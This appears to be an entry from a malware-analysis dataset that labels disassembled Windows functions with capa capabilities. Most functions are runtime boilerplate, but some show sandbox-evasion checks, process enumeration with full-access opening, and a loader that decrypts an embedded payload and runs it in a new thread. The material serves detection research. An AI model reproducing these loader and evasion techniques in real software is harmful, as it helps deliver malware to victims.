joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401681
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
push rbp
sub rsp, 0x100
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0x30]
cmp eax, 1
ja 0x4016b3
mov eax, 1
jmp 0x401772
mov dword [rbp - 0x30], 0x40
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
mov rax, qword [rbp - 0x28]
mov edx, 0x80000000
cmp rax, rdx
jae 0x4016e2
mov eax, 1
jmp 0x401772
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount64]
call rax
mov qword [rbp + 0x78], rax
mov qword [rbp - 0x38], 0xffffffffdc3cba00
lea rax, [rbp + 0x50]
lea rdx, [rbp + 0x4f]
mov rcx, rax
call fcn.004015a0
mov rax, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x58]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
mov rax, qword [rbp + 0x60]
mov qword [rbp - 0x50], rax
movzx eax, word [rbp + 0x68]
mov word [rbp - 0x48], ax
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.0041ee50
mov r8, qword [0x014240c8]
lea rax, [rbp - 0x38]
mov rdx, rax
mov ecx, 0
call r8
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount64]
call rax
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x70]
sub rax, qword [rbp + 0x78]
cmp rax, 0xea5f
ja 0x40176d
mov eax, 1
jmp 0x401772
mov eax, 0
add rsp, 0x100
pop rbp
ret

Function at 0x40177b
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x1a0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x130], rcx
mov qword [rbp + 0x110], 0
mov dword [rbp - 0x20], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x118], rax
lea rdx, [rbp - 0x20]
mov rax, qword [rbp + 0x118]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
sete al
test al, al
je 0x4018d8
lea rdx, [rbp - 0x20]
mov rax, qword [rbp + 0x118]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
sete al
test al, al
je 0x4018d8
lea rax, [rbp - 0x20]
add rax, 0x2c
mov rdx, qword [rbp + 0x130]
mov rcx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
sete al
test al, al
je 0x4017db
mov qword [rbp - 0x28], 0
mov eax, dword [rbp - 0x18]
mov ecx, eax
call fcn.00401594
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x60], 0x30
mov qword [rbp - 0x58], 0
mov dword [rbp - 0x48], 0
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
mov r10, qword [0x014240a0]
lea rcx, [rbp - 0x30]
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x110]
mov r9, rcx
mov r8, rdx
mov edx, 0x1fffff
mov rcx, rax
call r10
mov rax, qword [rbp + 0x110]
test rax, rax
je 0x4018bc
mov rax, qword [rbp + 0x110]
cmp rax, 0xffffffffffffffff
je 0x4018bc
mov rdx, qword [0x01424098]
mov rax, qword [rbp + 0x118]
mov rcx, rax
call rdx
mov rax, qword [rbp + 0x110]
jmp 0x4018f2
mov rdx, qword [0x01424098]
mov rax, qword [rbp + 0x118]
mov rcx, rax
call rdx
mov rax, 0xffffffffffffffff
jmp 0x4018f2
mov rdx, qword [0x01424098]
mov rax, qword [rbp + 0x118]
mov rcx, rax
call rdx
mov rax, 0xffffffffffffffff
add rsp, 0x1a0
pop rbp
ret
Function at 0x412670
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.0041e9f0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.0041e9f0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x4126e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x01424164]
mov r12, rcx
test ebx, ebx
jle 0x412810
mov rax, qword [0x01424168]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x41272c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x4127b3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x412710
mov rcx, r12
call fcn.00413090
mov rsi, rax
test rax, rax
je 0x412832
mov rax, qword [0x01424168]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.004131c0
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x01424168]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x412817
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x4127ac
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x4127c0
add dword [0x01424164], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x01424168]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x4127ac
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00412670
nop dword [rax]
xor ebx, ebx
jmp 0x412737
mov rax, qword [0x01424168]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.00412670
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.00412670
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x412d00
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x014241c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x014241a0]
test rbx, rbx
je 0x412d54
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x412d4b
test r12, r12
je 0x412d4b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x412d30
lea rcx, [0x014241c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x413090
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x013fe980]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x4130b0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x4130b8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x4130b0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x413105
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x4130fc
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x4130b0
add rax, 0x28
cmp rax, r9
jne 0x4130e8
xor eax, eax
ret

Function at 0x413110
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x013fe980]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x413130
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x413138
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x413130
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x4131c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x013fe980]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x4131e0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x4131e8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x413410
Capabilities:
Allocate thread local storage

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov eax, dword [0x014241a8]
mov edi, ecx
mov rsi, rdx
test eax, eax
jne 0x412d90
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
mov edx, 0x18
mov ecx, 1
call sub.msvcrt.dll_calloc
mov rbx, rax
test rax, rax
je 0x412de3
mov dword [rax], edi
lea rcx, [0x014241c0]
mov qword [rax + 8], rsi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x014241a0]
lea rcx, [0x014241c0]
mov qword [0x014241a0], rbx
mov qword [rbx + 0x10], rax
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
or eax, 0xffffffff
jmp 0x412d86
push r12
push rbx
sub rsp, 0x28
mov rbx, rcx
mov r12, rdx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov ecx, eax
cmp eax, 0xffffffff
je 0x413440
mov rdx, r12
mov dword [rbx], eax
add rsp, 0x28
pop rbx
pop r12
jmp 0x41ed50
add rsp, 0x28
pop rbx
pop r12
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
test rdx, rdx
jne 0x41ed60
xor eax, eax
ret
jmp 0x412d70

Function at 0x413480
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
sub rsp, 0x28
mov r12d, ecx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, r12d
mov r13d, eax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, r13d
mov r12, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, r12
add rsp, 0x28
pop r12
pop r13
ret

Function at 0x4134c0
Capabilities:
Set thread local storage value

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x4134d8
xor eax, eax
add rsp, 0x28
ret
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
Function at 0x47b860
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbp, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
jmp 0x47b887
call rbp
cmp dword [rax], 4
jne 0x47b8a4
mov rcx, rdi
call fcn.0047b680
mov r8d, ebx
mov rdx, rsi
mov ecx, eax
call sub.msvcrt.dll__read
movsxd r12, eax
cmp eax, 0xffffffff
je 0x47b880
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x3afc91370
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp + 0x20], r8
mov dword [rbp + 0x28], r9d
lea rax, [rbp - 8]
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
call rax
test eax, eax
sete al
test al, al
je 0x3afc913d8
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_in_CryptAcquireContextW___u__n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x3afc914de
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0x800c
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
call rax
test eax, eax
sete al
test al, al
je 0x3afc9142a
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_in_CryptCreateHash___u__n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x3afc914de
mov rax, qword [rbp - 0x10]
mov ecx, dword [rbp + 0x28]
mov rdx, qword [rbp + 0x20]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptHashData]
call rax
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x18]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8, rcx
mov edx, 0x6610
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
call rax
mov rax, qword [rbp - 0x18]
lea rdx, [rbp + 0x18]
mov qword [rsp + 0x28], rdx
mov rdx, qword [rbp + 0x10]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
call rax
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
call rax
nop
add rsp, 0x50
pop rbp
ret
Function at 0x3afc914fe
Capabilities:
Create thread

Disassembly:
push rbp
mov eax, 0x17c70
call fcn.3afc92470
sub rsp, rax
lea rbp, [rsp + 0x80]
mov r9d, 0
lea r8, str.Gemini_Security
lea rax, str.Welcome_
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
movabs rax, 0x1c79dc33d77899d8
movabs rdx, 0x1c39b2323dea8f27
mov qword [rbp + 0x17bc0], rax
mov qword [rbp + 0x17bc8], rdx
lea rax, [rbp - 0x40]
lea rdx, [0x3afc990f0]
mov ecx, 0x17c00
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov dword [rbp + 0x17bec], 0x17c00
mov r9d, 4
mov r8d, 0x3000
mov edx, 0x17c00
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x17be0], rax
cmp qword [rbp + 0x17be0], 0
jne 0x3afc915d4
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_Allocate_memory___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xffffffff
jmp 0x3afc91706
lea rcx, [rbp + 0x17bc0]
mov edx, dword [rbp + 0x17bec]
lea rax, [rbp - 0x40]
mov r9d, 0x10
mov r8, rcx
mov rcx, rax
call sym.DeAES_char__unsigned_long__char__unsigned_long_
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x17be0]
mov r8d, 0x17c00
mov rcx, rax
call sym.memmove
lea rdx, [rbp - 0x44]
mov rax, qword [rbp + 0x17be0]
mov r9, rdx
mov r8d, 0x20
mov edx, 0x17c00
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
sete al
test al, al
je 0x3afc91661
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_change_memory_protection___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xfffffffe
jmp 0x3afc91706
mov rax, qword [rbp + 0x17be0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x17bd8], rax
cmp qword [rbp + 0x17bd8], 0
jne 0x3afc916c7
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_Create_the_thread___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xfffffffd
jmp 0x3afc91706
mov rax, qword [rbp + 0x17be0]
mov rdx, rax
lea rax, str._n_nalloc_mem_:__p_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x17bd8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x17be0]
call rax
mov eax, 0
add rsp, 0x17c70
pop rbp
ret

Function at 0x3afc918b0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x3afc91920
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x3afcb4064]
mov rbx, rcx
test esi, esi
jle 0x3afc91a50
mov rax, qword [0x3afcb4068]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x3afc9196b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x3afc919f5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x3afc91950
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x3afc91a72
mov rax, qword [0x3afcb4068]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x3afcb4068]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x3afc91a57
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x3afc919ee
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x3afc91a00
add dword [0x3afcb4064], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x3afcb4068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x3afc919ee
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x3afc91978
mov rax, qword [0x3afcb4068]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x3afc91df0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x3afcb40a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x3afcb4080]
test rbx, rbx
je 0x3afc91e4c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x3afc91e43
test rsi, rsi
je 0x3afc91e43
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x3afc91e28
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x3afc92060
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x3afc92078
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x3afc92080
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x3afc92090
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x3afc920dd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x3afc920d4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x3afc920df
add rax, 0x28
cmp rax, r9
jne 0x3afc920c0
xor eax, eax
ret

Function at 0x3afc920e0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x3afc92170
mov rdx, qword [0x3afcb1290]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x3afc9215e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x3afc9215e
cmp word [rax + 0x18], 0x20b
jne 0x3afc9215e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x3afc92170
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x3afc92149
add rbx, 0x28
cmp rbx, rdi
je 0x3afc92170
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x3afc92140
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x3afc92180
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x3afcb1290]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x3afc921a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x3afc921a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x3afc921a0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x3afc921fd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x3afc921f4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x3afc921a0
add rax, 0x28
cmp rax, r9
jne 0x3afc921e0
xor eax, eax
ret

Function at 0x3afc92200
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x3afcb1290]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x3afc9221f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x3afc92228
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x3afc9221f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x3afc92240
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x3afcb1290]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x3afc92260
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x3afc92268
ret
cmp word [rdx + 0x18], 0x20b
jne 0x3afc92260
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x3afc922b0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x3afc922a7
test rcx, rcx
je 0x3afc92260
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x3afc92298
xor eax, eax
ret
Function at 0x3afc922c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x3afcb1290]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x3afc922df
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x3afc922e8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x3afc92300
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x3afcb1290]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x3afc92320
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x3afc92328
ret
cmp word [r8 + 0x18], 0x20b
jne 0x3afc92320
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x3afc92320
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x3afc92374
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x3afc92380
add rdx, 0x28
cmp r9, rdx
jne 0x3afc92360
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x3afc92390
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x3afcb1290]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x3afc923b2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x3afc923c0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x3afc923b2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x3afc923b2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x3afc923b2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x3afc92415
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x3afc92428
add rdx, 0x28
cmp rdx, r10
jne 0x3afc92400
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x3afc92437
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x3afc92447
mov edx, dword [rax + 0xc]
test edx, edx
je 0x3afc9241e
test ecx, ecx
jg 0x3afc92430
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret